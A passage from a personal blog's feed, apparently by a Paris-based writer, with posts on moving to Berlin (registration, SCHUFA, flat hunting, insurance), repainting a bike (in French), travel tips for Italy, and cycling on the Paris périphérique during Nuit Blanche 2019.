&lt;p&gt;This is it folks, I am now officially a resident of Berlin, Germany! After over 2 years in Paris, it was about time for me to move. Here's to a new adventure!!!&lt;/p&gt;
&lt;p&gt;But wait a second. An international move doesn't happen with a snap! In this article, I list all the tasks I had to go through to make my move as smooth and painless as possible.&lt;/p&gt;
&lt;h1 id="months-in-advance"&gt;Months in advance&lt;/h1&gt;
&lt;p&gt;First, I recommend reaching out to &lt;a href="https://www.expath.de/"&gt;https://www.expath.de/&lt;/a&gt;, they're specialized in helping people move to Germany. I used their services. They also assign you a "coach", a person who will help you once you make it to Berlin. This person is going to help you register, find an apartment, etc. They can assist over emails too.&lt;/p&gt;
&lt;p&gt;Also, I suggest you start selling the furniture you don't want to keep as soon as possible, as it can take days or weeks for people to buy it. If you wait too long, you'll most likely end up underselling your stuff.&lt;/p&gt;
&lt;h1 id="weeks-in-advance"&gt;Weeks in advance&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Cancel your home internet subscription&lt;/li&gt;
&lt;li&gt;Get information about how to cancel your home insurance&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="days-ahead"&gt;Days ahead&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Cancel utilities subscriptions (electricity, water)&lt;/li&gt;
&lt;li&gt;Redirect/forward mail&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="finding-a-short-term-flat"&gt;Finding a short-term flat&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/extra/Flats_Handout 2019v5.pdf"&gt;Useful PDF&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://wunderflats.de"&gt;https://wunderflats.de&lt;/a&gt; - registration is almost always possible, this is the website I recommend&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.thehomelike.com"&gt;https://www.thehomelike.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crocodilian.de"&gt;https://www.crocodilian.de&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.airbnb.com"&gt;https://www.airbnb.com&lt;/a&gt; - always ask beforehand if registration is possible&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.roomsurfer.com"&gt;https://www.roomsurfer.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exberlinerflatrentals.com"&gt;https://www.exberlinerflatrentals.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.zwischenmiete.de"&gt;https://www.zwischenmiete.de&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="days-after-moving"&gt;Days after moving&lt;/h1&gt;
&lt;h2 id="registration-anmeldung"&gt;Registration (Anmeldung)&lt;/h2&gt;
&lt;p&gt;You must ask your temporary landlord to provide you with a document called &lt;em&gt;Wohnungsgeberbestätigung&lt;/em&gt;. Ideally get the original document, not a scan. This is the document you'll be bringing to the &lt;em&gt;Bürgeramt&lt;/em&gt; (police station or city hall) on the day you register, alongside your ID.&lt;/p&gt;
&lt;p&gt;Make sure to &lt;a href="https://service.berlin.de/dienstleistung/120686/"&gt;book a slot for registration ASAP&lt;/a&gt;, as it usually takes weeks to get an appointment. Bring the following documents:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Registration Form filled in (can also be found at the &lt;em&gt;Bürgeramt&lt;/em&gt;): &lt;em&gt;&lt;a href="http://www.berlin.de/formularserver/formular.php?402608"&gt;Anmeldung bei einer Meldebehörde&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;EU ID or passport&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Mietvertrag&lt;/em&gt; (lease)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://serviceportal.hannover-stadt.de/downloads/datei/MTIxNTstOy92YXIvd3d3L2h0bWwvaGFubm92ZXIvbWVkaWVuL2Rva3VtZW50ZS93b2hudW5nc2dlYmVyYmVzdGFldGlndW5nLnBkZg%3D%3D"&gt;Wohnungsgeberbestätigung&lt;/a&gt;&lt;/em&gt; filled out by landlord, or yourself if you own the place&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are married or in a civil partnership, and moving together from one place to another, you can fill one registration form for two people and show up together at the same appointment. Otherwise, make 2 appoitments et one form per person.&lt;/p&gt;
&lt;p&gt;Also note that you are required to notify the &lt;em&gt;Bürgeramt&lt;/em&gt; when you leave (&lt;em&gt;Abmelden&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;More on the topic: &lt;a href="https://www.settle-in-berlin.com/anmeldung/"&gt;here&lt;/a&gt;, &lt;a href="https://www.simplegermany.com/anmeldung-germany/"&gt;here&lt;/a&gt; and &lt;a href="https://allaboutberlin.com/guides/anmeldung-in-english-berlin"&gt;there&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="register-for-the-tv-tax-rundfunkbeitrag"&gt;Register for the TV tax (Rundfunkbeitrag)&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.rundfunkbeitrag.de/buergerinnen_und_buerger/formulare/index_ger.html"&gt;Here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="finding-a-long-term-flat"&gt;Finding a long-term flat&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://docs.google.com/document/d/1jw-geK3X5fxCMfJMeF90eGQVAwktOvN42i5RctUnc2k/edit#heading=h.4rxwb3gjrtlm"&gt;Apartment hunting&lt;/a&gt; is no different than &lt;a href="https://romainpellerin.eu/living-in-paris-looking-for-an-apartment-in-paris.html"&gt;in Paris&lt;/a&gt;. Except that here, almost all landlords will ask for a German-specific document: your &lt;strong&gt;&lt;a href="https://mag.n26.com/how-to-get-your-schufa-score-in-germany-bb60295a7e1a"&gt;SCHUFA&lt;/a&gt;&lt;/strong&gt; (or credit score in English).&lt;/p&gt;
&lt;p&gt;There are two types of SCHUFAS: the one with the actual credit score (called &lt;strong&gt;SCHUFA BonitätsAuskunft&lt;/strong&gt;), and the one that only states whether you have any debts or not (called &lt;strong&gt;SCHUFA Bonitätscheck&lt;/strong&gt;). In most cases, the latter is enough. You can get it for 30 euros at &lt;a href="https://www.immobilienscout24.de/"&gt;www.immobilienscout24.de&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Regarding the actual search now, here are the most used websites:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.immobilienscout24.de"&gt;www.immobilienscout24.de&lt;/a&gt; - definitely the one I recommend most&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.immonet.de"&gt;www.immonet.de&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.immowelt.de/suche/wohnungen/mieten"&gt;www.immowelt.de/suche/wohnungen/mieten&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://salzundbrot.com/"&gt;salzundbrot.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ebay-kleinanzeigen.de/s-wohnung-mieten/c203"&gt;www.ebay-kleinanzeigen.de/s-wohnung-mieten/c203&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wohnungsboerse.net/"&gt;www.wohnungsboerse.net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lieblingsmieter.de/"&gt;www.lieblingsmieter.de&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Beware of scams on these websites, as you would do in any other country. When it's too good to be true, it's most likely a scam. Also, you should never send any private document before going to a viewing.&lt;/p&gt;
&lt;p&gt;Speaking of which, go to viewings prepared. Bring a file with the following documents:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A nice introduction about you with a picture. Make sure to state if you own pets, if you have children, whether you smoke or not and if you play music. Explain why you're looking for an apartment.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Mieterselbstauskunft&lt;/em&gt;: find a template online and pre-fill it. Most landlords provide their own versions: in such a case, use theirs and fill it in while doing the viewing.&lt;/li&gt;
&lt;li&gt;Passport/ID scans&lt;/li&gt;
&lt;li&gt;Scan of your Anmeldung&lt;/li&gt;
&lt;li&gt;Scan of SCHUFA&lt;/li&gt;
&lt;li&gt;Copy of work contract (&lt;em&gt;Arbeitsvertrag&lt;/em&gt;): only include relevant pages (first and last pages usually, as well as the page that says your salary -- make sure to highlight it in yellow!!! -- also if you're not on a probationary period make sure to include the page stating that&lt;/li&gt;
&lt;li&gt;Last three payslips (&lt;em&gt;Gehaltsabrechnungen&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;Proof of timely payments to your previous landlord (&lt;em&gt;Mietschuldenfreiheitsbescheinigung&lt;/em&gt;). A letter from them will do.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You may also be asked to send these documents digitally after the viewing.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://vivreaberlin.com/trouver-un-logement.html"&gt;Here&lt;/a&gt; you'll find additional advice about the apartment search.&lt;/p&gt;
&lt;h1 id="weeks-after-moving"&gt;Weeks after moving&lt;/h1&gt;
&lt;h2 id="bank-account"&gt;Bank account&lt;/h2&gt;
&lt;p&gt;Consider &lt;a href="https://allaboutberlin.com/guides/first-bank-account-in-germany"&gt;opening a German bank account&lt;/a&gt;, you might need it to get paid for example. The easiest solution remains N26 though.&lt;/p&gt;
&lt;h2 id="various-insurances"&gt;Various insurances&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://allaboutberlin.com/guides/insurance"&gt;Germans are known to like insurances&lt;/a&gt;, &lt;a href="https://www.expatica.com/de/finance/insurance/insurance-in-germany-100952/"&gt;so much that many various ones exist&lt;/a&gt;. Only a few are required by law though:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://allaboutberlin.com/guides/german-health-insurance"&gt;Health insurance&lt;/a&gt;: I was told to stick with public insurance (as opposed to private) and go with &lt;a href="https://www.tk.de/en"&gt;TK&lt;/a&gt; as they are big and English-friendly.&lt;/li&gt;
&lt;li&gt;Work insurances: you get them automatically as soon as you start working, no need to worry here.&lt;/li&gt;
&lt;li&gt;Vehicule insurance: if you own a car only.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other optional insurances but highly recommended are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Liability insurance (called &lt;em&gt;Haftpflichtversicherung&lt;/em&gt;): &lt;a href="https://www.settle-in-berlin.com/personal-liability-insurance-germany/"&gt;more info here&lt;/a&gt; and &lt;a href="https://allaboutberlin.com/guides/haftpflichtversicherung"&gt;here&lt;/a&gt;. In a nutshell, the 3 ones I saw and heard about repeatedly that are English-friendly and managed through an app are: GetSafe, Coya and PopSure. You can compare others &lt;a href="https://www.check24.de/privathaftpflicht"&gt;here&lt;/a&gt;. Axa is apparently big and has a reputation in Germany. Same for Allianz. Anyway, a decent price is around 50 euros a year.&lt;/li&gt;
&lt;li&gt;Household contents insurance (called &lt;em&gt;Hausratversicherung&lt;/em&gt;): only if you have valuable items or piece of furniture at home. It also covers bikes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="misc"&gt;Misc&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.settle-in-berlin.com/bike-in-berlin/"&gt;Get a bike&lt;/a&gt; and read &lt;a href="https://bikeinberlin.com/"&gt;BikeInBerlin.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.berlin.de/land/kalender/?+c=63"&gt;Register your bike&lt;/a&gt; (&lt;a href="https://adfc-berlin.de/service/43-codierung.html"&gt;other link here&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.visitberlin.de/en/blog/top-11-berlin-flea-markets"&gt;Go to flea markets&lt;/a&gt; or &lt;a href="https://bikeinberlin.com/index.php/2018/02/11/berlin-bike-flea-markets/"&gt;bike flea markets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marlonbernardes.github.io/awesome-berlin/en/pages/public-transport.html#how-to-buy-transport-tickets"&gt;Get a monthly or yearly public transport ticket&lt;/a&gt;. Good to know: with a monthly (and surely a yearly one) subscription, you can bring a friend along on the weekend and on weekdays after 8pm for free.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.settle-in-berlin.com/"&gt;Read settle-in-berlin.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Moving? Instead of renting a truck, &lt;a href="https://bikeinberlin.com/index.php/2018/03/11/die-flotte-free-cargo-bikes-rent-berlin/"&gt;rent a cargo bike&lt;/a&gt; &lt;a href="https://flotte-berlin.de"&gt;for free&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it!&lt;/p&gt;
&lt;h1 id="more-on-germany"&gt;More on Germany&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.thelocal.de/20200121/the-german-habits-internationals-say-they-cant-shake-off"&gt;The German habits internationals say they can't shake off&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.thelocal.de/20200120/5-key-things-you-need-to-know-about-the-german-workplace"&gt;5 key things you need to know about German working culture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://marlonbernardes.github.io/awesome-berlin/"&gt;Awesome Berlin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.simplegermany.com/"&gt;Simple Germany&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=W-nDCrIk5yM"&gt;33 Awesome Things To Do in Berlin in Winter - YouTube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="berlin"></category><category term="germany"></category><category term="apartment"></category><category term="housing"></category></entry><entry><title>Comment repeindre un vélo ?</title><link href="https://romainpellerin.eu/comment-repeindre-un-velo.html" rel="alternate"></link><published>2019-12-29T17:00:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-12-29:/comment-repeindre-un-velo.html</id><summary type="html">&lt;p&gt;Conseils pour repeindre son vélo efficacement&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;a href="https://romainpellerin.eu/from-a-second-hand-regular-black-bike-to-a-fully-customized-singlespeed-bike.html"&gt;J'ai récemment repeint mon vélo moi-même en blanc.&lt;/a&gt; Et ce n'était pas une mince affaire !! C'était la première fois et ce fût riche en leçons ! Petit guide &lt;em&gt;home-made&lt;/em&gt; sur comment repeindre son vélo...&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="An animated image of the transformation of my bike" src="https://romainpellerin.eu/images/bike.gif" /&gt;&lt;/figure&gt;

&lt;h1 id="materiel"&gt;Matériel&lt;/h1&gt;
&lt;h2 id="de-quoi-poncer"&gt;De quoi poncer&lt;/h2&gt;
&lt;p&gt;Si comme moi vous passer d'une couleur très sombre à très clair, je vous conseille d'enlever le maximum de peinture pour éviter que les futurs accrocs se voient trop. J'ai personnellement acheté (oui carrément) une ponceuse à bande et 3 bandes à grain 80.&lt;/p&gt;
&lt;p&gt;Si vous restez dans les mêmes tons de couleur, il suffira seulement de poncer superficiellement &lt;strong&gt;à la main&lt;/strong&gt; pour que la nouvelle peinture accroche.&lt;/p&gt;
&lt;p&gt;Dans les deux cas, je recommande quand même de poncer en partant à minima d'un grain 80 et en allant vers du 200+ (3 ou 4 différents types de grain suffiront largement).&lt;/p&gt;
&lt;h2 id="sous-couche"&gt;Sous-couche&lt;/h2&gt;
&lt;p&gt;Très importante, notamment pour assurer une bonne attache de la peinture et éviter la rouille, je recommande l'&lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/appret-anti-corrosion-peinture-velo-spray-bike-pour-tout-metal.html"&gt;Apprêt anti-corrosion peinture vélo Spray.Bike pour tout métal&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="peinture"&gt;Peinture&lt;/h2&gt;
&lt;p&gt;Encore une fois, je recommande les produits de chez Spray.Bike. J'ai personnellement acheté la &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/peinture-pour-velo-spray-bike-blb-london-collection-400-ml.html"&gt;Peinture pour vélo Spray.Bike BLB London Collection 400 ml&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="vernis"&gt;Vernis&lt;/h2&gt;
&lt;p&gt;Afin de protéger un minimum la peinture des impacts et de lui rendre un ton moins mat, à nouveau je recommande un produit de chez Spray.Bike, le &lt;a href="https://www.lecyclo.com/velo/pieces-detachees/produit-entretien/peinture/vernis-pour-finitions-peinture-de-velo-spray-bike-400-ml.html"&gt;Vernis pour finitions peinture de vélo Spray.Bike 400 ml&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="how-to-step-by-step"&gt;How to: step by step&lt;/h1&gt;
&lt;p&gt;Assurez-vous d'être dans un endroit sec non humide où l'air circule et bien éclairé (important pour la peinture). Démontez bien toutes les parties du vélo et séparez le cadre de la fourche. On pourra mettre du scotch pour protéger le boitier de pédalier et éviter ainsi de le démonter. Tout le reste doit être démonté. Dans mon cas, ma fourche est rouillée et bloquée, j'ai donc du la laisser avec le cadre...&lt;/p&gt;
&lt;h2 id="1-poncer"&gt;1. Poncer&lt;/h2&gt;
&lt;p&gt;Comme je le disais, partir d'un grain 80 et diminuer la taille de grain progressivement. Enlever un maximum de peinture si vous comptez peindre une couleur claire sur une couleur foncée.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="Cadre poncé" src="https://romainpellerin.eu/images/bike-paint/bike-painting-1.jpg" /&gt;&lt;/figure&gt;

&lt;figure class="center"&gt;&lt;img alt="Cadre poncé" src="https://romainpellerin.eu/images/bike-paint/bike-painting-2.jpg" /&gt;&lt;/figure&gt;

&lt;h2 id="2-essuyer"&gt;2. Essuyer&lt;/h2&gt;
&lt;p&gt;Passer un chiffon sec sur toutes les parties poncées pour enlever les résidus et poussières. Alternativement, on peut arroser le vélo mais compter ensuite plusieurs heures de séchage et quand même un coup de chiffon final.&lt;/p&gt;
&lt;h2 id="3-appliquer-la-sous-couche"&gt;3. Appliquer la sous-couche&lt;/h2&gt;
&lt;p&gt;J'ai mis une seule sous-couche mais j'aurais du en mettre deux. Premièrement car la contenance de la bombe le permet et deuxièmement pour mieux uniformiser partout. Après coup je me suis rendu compte que j'avais mis très peu de sous-couche sur certaines parties du cadre, et une fois la peinture appliquée, ça se voit. La texture est légèrement différement.&lt;/p&gt;
&lt;p&gt;À vaporiser de loin (au moins 20cm), en ayant au préalable secoué la bombe et testé sur du carton (à faire avant chaque couche).&lt;/p&gt;
&lt;p&gt;Deux couches donc, appliquée avec au moins 6 heures d'intervalle, bien que les instructions disent que 20 minutes suffisent.&lt;/p&gt;
&lt;h2 id="4-appliquer-la-peinture"&gt;4. Appliquer la peinture&lt;/h2&gt;
&lt;p&gt;Ici rien de sorcier. Deux couches à nouveau, avec 12 heures d'intervalle. À vaporiser de près (5 à 12cm), en ayant au préalable secoué la bombe et testé sur du carton.&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img alt="Vélo repeint" src="https://romainpellerin.eu/images/bike-paint/bike-painting-3.jpg" /&gt;&lt;/figure&gt;

&lt;figure class="center"&gt;&lt;img alt="Vélo repeint" src="https://romainpellerin.eu/images/bike-paint/bike-painting-4.jpg" /&gt;&lt;/figure&gt;

&lt;h2 id="5-appliquer-le-vernis"&gt;5. Appliquer le vernis&lt;/h2&gt;
&lt;p&gt;Au choix, une, deux ou trois couches (plus de couches = plus de brillance), espacées de 4 heures. À vaporiser de près (5 à 12 cm), en ayant au préalable secoué la bombe et testé sur du carton.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Et voilà, vous devriez avoir un beau vélo !&lt;/p&gt;</content><category term="Bikes"></category><category term="bike"></category></entry><entry><title>Italy</title><link href="https://romainpellerin.eu/italy.html" rel="alternate"></link><published>2019-10-13T22:00:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-10-13:/italy.html</id><summary type="html">&lt;p&gt;What I know about Italy&lt;/p&gt;</summary><content type="html">&lt;p&gt;I'm just back from a 2-week vacation in Italy. Oh boy there are things to be said about Italy!&lt;/p&gt;
&lt;h1 id="things-to-know-before-going-there"&gt;Things to know before going there&lt;/h1&gt;
&lt;p&gt;First off, a few warnings! Roada are race tracks for italians. On the freeway, when they want to take over, they drive as closely as possible behind, occasionally doing headlight flashing. Also, still on freeways, speed limit can drastically change from 130 to 60 in no time where there's road work, and no one seems to pay attention, they barely decrease their speed to 110. Oddly enough though, I saw a shit ton of electronic speed radars.&lt;/p&gt;
&lt;p&gt;In cities, anywhere where there's asphalt, cars and scooters will go. Even in the narrowest streets. Don't you dare try to follow what Google Maps says, stick to the wide main roads. Italians mostly drive two kinds of cars: either tiny ones like Smarts, or SUVs. Also, a lot of them just don't give a shit about seatbelts. They'd rather hear the sound that reminds them to fasten it for 10 minutes than actually fasten it (I experienced several car rides with italians in Naples!).&lt;/p&gt;
&lt;p&gt;I was shocked by the number of smokers. It's by far worse than in France. People smoke everywhere: train stations (apparently it was not forbidden), houses, and I even saw a bunch a young people smoke in trains (it is forbidden but no ones seems to care). Speaking of trains, there are unreliable. Expect most of them to be between 5 and 10 minutes late all the time.&lt;/p&gt;
&lt;p&gt;The density of traffic in cities is incredible. Cars and scooters are everywhere, and pollution must be a serious concern. It smells like gas everywhere. It is not uncommon to find roads with 4 or 6 lanes (2x3) in cities, so no wonder why it's so polluted. Also be prepared to hear horn hooking all the time. I also saw scooters parked on the rightmost lane (not a parking spot at all) alongside the sidewalk, crazy! Likewise, Smarts park perpendicularly to the sidewalks.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/smart.jpg" alt="A Smart perpendicularly parked" /&gt;
&lt;figcaption&gt;A Smart nicely parked.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Helmets for scooter drivers was made mandatory in 2005 or something, but I've seen numerous people without one. Also, at red traffic lights, if there are 3 lanes, italians are gonna make 5 out of them, haha! It saw that in Rome many times.&lt;/p&gt;
&lt;p&gt;Public transportation seems to be poorly developed. Even Rome has only 3 metro lines. Trains coming from the suburbs to Naples run once an hour, so plan in advance.&lt;/p&gt;
&lt;p&gt;The garbage collection system is also not ideal. It is not uncommon at all to see overfilled street collectors.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/trash1.jpg" alt="A trash collector" /&gt;
&lt;figcaption&gt;Trash management, italian style #1.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/trash2.jpg" alt="A trash collector" /&gt;
&lt;figcaption&gt;Trash managemnt, italian style #2.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Last funny fact: the water tank of toilets is... unusually located.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/toilet.jpg" alt="An italian toilet" /&gt;
&lt;figcaption&gt;A classic italian toilet.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Now, let's move on to cities.&lt;/p&gt;
&lt;h1 id="cinque-terre"&gt;Cinque Terre&lt;/h1&gt;
&lt;p&gt;Cinque Terre is meant to be visited by train or hiking, forget about your car as the roads are narrow, steep, with series of switchbacks. Trains run every 20mins or something between the 5 villages, and the day ticket costs 16 euros. Hiking takes a full day at a relaxed pace (6+ hours).&lt;/p&gt;
&lt;h1 id="pisa"&gt;Pisa&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/pisa.jpg" alt="Me and the leaning tower of Pisa" /&gt;
&lt;figcaption&gt;Obligatory picture.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;There is not much to do in Pisa, appart from the leaning tower of course. The city center is very beautiful, a lot of streets are car-free, with tons of pedestrians and cyclists. I recommend discovering the city on a bike.&lt;/p&gt;
&lt;h1 id="rome"&gt;Rome&lt;/h1&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/trevi.jpg" alt="The fountain of Trevi" /&gt;
&lt;figcaption&gt;Trevi: reality.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I highly recommend doing guided tours, as opposed to solo tours, especially when visiting the Vatican museums, the Colosseum and the Roman forum.&lt;/p&gt;
&lt;p&gt;Don't buy city passes, &lt;a href="https://revealedrome.com/2017/05/is-a-roma-pass-worth-it-or-omnia-card/"&gt;it's in most cases cheaper to buy tickets individually&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/rome.jpg" alt="Prices for Colosseum" /&gt;
&lt;figcaption&gt;Prices for the Colosseum.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;If you're on a tight schedule as I was, I found &lt;a href="https://www.romewise.com/rome-highlights-in-one-day.html"&gt;this map&lt;/a&gt; very helpful when it comes to visiting main highlights efficiently.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/italy/rome-highlights.png" alt="A map of main Rome highlights with a path to see them all" /&gt;
&lt;figcaption&gt;Rome highlights in one day&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="naples"&gt;Naples&lt;/h1&gt;
&lt;p&gt;Funny fact: every night, there are fireworks in the city, usually between 22h and midnight. I asked why and was told that it's to celebrate weddings, parties, etc... anything that's worth celebrating. Regular people do that.&lt;/p&gt;
&lt;p&gt;When visiting Pompei, do a guided tour! You'll find plenty just as you walk out of the train station. The one I did was 12 euros per adult for a 2-hour group tour. Official guided tours, located just by the ticket office, were 2 euros more expensive if my memory serves well.&lt;/p&gt;
&lt;p&gt;The city of Naples is not very interesting as it is. I recommend spending a day in the city, not more. Make sure to eat the best pizza in town at &lt;a href="https://www.sorbillo.it/"&gt;Gino e Toto Sorbillo&lt;/a&gt;. Then, you can visit Mount Vesuvius (reachable by car!), Pompei (train is the most efficent and cheapest way to get there), Sorrento (same train as Pompei) or Capri (take a ferry, it's a 40-ish euro ticket for both way).&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it! Hope it helps.&lt;/p&gt;</content><category term="Travels"></category><category term="travel"></category><category term="italy"></category><category term="rome"></category><category term="naples"></category><category term="pisa"></category></entry><entry><title>Living In Paris: Nuit Blanche Parisienne 2019</title><link href="https://romainpellerin.eu/living-in-paris-nuit-blanche-parisienne-2019.html" rel="alternate"></link><published>2019-10-06T22:00:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-10-06:/living-in-paris-nuit-blanche-parisienne-2019.html</id><summary type="html">&lt;p&gt;Un peu de vélo sur le périphérique parisien à l'occasion de la nuit blanche 2019&lt;/p&gt;</summary><content type="html">&lt;p&gt;Hier samedi 5 octobre 2019, à l'occasion de la 18ème édition de la &lt;a href="https://quefaire.paris.fr/nuitblanche"&gt;Nuit Blanche à Paris&lt;/a&gt;, j'ai pu faire du vélo sur une portion du périphérique entre porte de Pantin et porte de la Vilette, fermée exprès pour l'évènement et ouverte aux piétons et cyclistes.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/nuit-blanche-2019.jpg" alt="Portion de périphérique fermée à la circulation" /&gt;
&lt;figcaption&gt;Portion de périphérique fermée à la circulation&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;L'évènement a très largement été relayé par les médias en amont, permettant aux gens de s'organiser pour éviter le périphérique, ou mieux ne pas utiliser leur voiture, ainsi que pour faire venir le plus grand nombre.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.leparisien.fr/culture-loisirs/sortir-region-parisienne/nuit-blanche-vous-pourrez-pedaler-sur-le-periph-parisien-ce-week-end-30-09-2019-8163324.php"&gt;Nuit Blanche : vous pourrez pédaler sur le périph’ parisien ce week-end&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.leparisien.fr/paris-75/paris-75020/peripherique-parisien-on-ferme-pour-la-nuit-blanche-05-10-2019-8166768.php"&gt;Périphérique parisien : on ferme pour la Nuit blanche !&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://france3-regions.francetvinfo.fr/paris-ile-de-france/paris/peripherique-parisien-ferme-17-km-reserve-aux-velos-ce-weekend-nuit-blanche-1730261.html"&gt;Le périphérique parisien fermé sur 1,7 km et réservé aux vélos ce weekend pour la Nuit Blanche&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Voici donc un extrait de cette soirée filmé par mes soins !&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/y0Xw1uvCHg8?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Et voici d'autres récits, par d'autres sites :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.leparisien.fr/video/nuit-blanche-le-peripherique-s-est-transforme-en-temple-du-velo-06-10-2019-8167215.php"&gt;Nuit Blanche : le périphérique s'est transformé en temple du vélo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.leparisien.fr/paris-75/pour-la-nuit-blanche-un-embouteillage-de-velos-sur-le-periph-05-10-2019-8166966.php"&gt;Pour la Nuit Blanche, un embouteillage… de vélos sur le périph&lt;/a&gt;&lt;/li&gt;
